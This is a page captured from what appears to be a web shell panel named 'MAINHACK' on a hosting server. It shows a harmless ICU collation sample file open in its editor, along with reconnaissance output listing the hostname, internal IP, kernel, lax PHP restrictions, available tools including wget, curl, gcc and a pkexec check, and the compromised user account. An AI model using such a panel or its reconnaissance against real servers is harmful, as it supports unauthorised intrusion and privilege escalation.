[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: legacy.cpp
File is not writable. Editing disabled.
/* ******************************************************************************* * * © 2016 and later: Unicode, Inc. and others. * License & terms of use: http://www.unicode.org/copyright.html#License * ******************************************************************************* ******************************************************************************* * * Copyright (C) 2001 - 2005, International Business Machines * Corporation and others. All Rights Reserved. * ******************************************************************************* * file name: main.cpp * encoding: UTF-8 * tab size: 8 (not used) * indentation:4 * * created on: 2001jul24 * created by: Vladimir Weinstein */ /****************************************************************************** * main program demonstrating using two versions of ICU in the same project ******************************************************************************/ #include <stdio.h> #include "unicode/utypes.h" #include "unicode/ustring.h" extern "C" void test_current(UChar data[][5], uint32_t size, uint32_t maxLen, uint8_t keys[][32]); extern "C" void test_legacy(UChar data[][5], uint32_t size, uint32_t maxlen, uint8_t keys[][32]); void printZTUChar(const UChar *str) { while(*str != 0) { if(*str > 0x1F && *str < 0x80) { fprintf(stdout, "%c", (*str) & 0xFF); } else { fprintf(stdout, "\\u%04X", *str); } str++; } } void printArray(const char* const comment, const UChar UArray[][5], int32_t arraySize) { fprintf (stdout, "%s\n", comment); int32_t i = 0; for(i = 0; i<arraySize; i++) { fprintf(stdout, "%d ", i); printZTUChar(UArray[i]); fprintf(stdout, "\n"); } } void printKeys(const char *comment, uint8_t keys[][32], int32_t keySize) { int32_t i = 0; uint8_t *currentKey = NULL; fprintf(stdout, "%s\n", comment); for(i = 0; i<keySize; i++) { currentKey = keys[i]; while(*currentKey != 0) { if(*currentKey == 1) { fprintf(stdout, "01 "); } else { fprintf(stdout, "%02X", *currentKey); } currentKey++; } fprintf(stdout, " 00\n"); } } //int main(int argc, const char * const argv[]) { int main(int, const char * const *) { static const char* test[4] = { "\\u304D\\u3085\\u3046\\u0000", "\\u30AD\\u30E6\\u30A6\\u0000", "\\u304D\\u3086\\u3046\\u0000", "\\u30AD\\u30E5\\u30A6\\u0000" }; #if 0 static const char* test2[4] = { "dbc\\u0000", "cbc\\u0000", "bbc\\u0000", "abc\\u0000" }; #endif static UChar uTest[4][5]; static uint8_t keys[4][32]; uint32_t i = 0; for(i = 0; i<4; i++) { u_unescape(test[i], uTest[i], 5); } printArray("Before current", uTest, 4); test_current(uTest, 4, 5, keys); printArray("After current", uTest, 4); printKeys("Current keys", keys, 4); for(i = 0; i<4; i++) { u_unescape(test[i], uTest[i], 5); } printArray("Before legacy", uTest, 4); test_legacy(uTest, 4, 5, keys); printArray("After legacy", uTest, 4); printKeys("Legacy keys", keys, 4); return 0; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A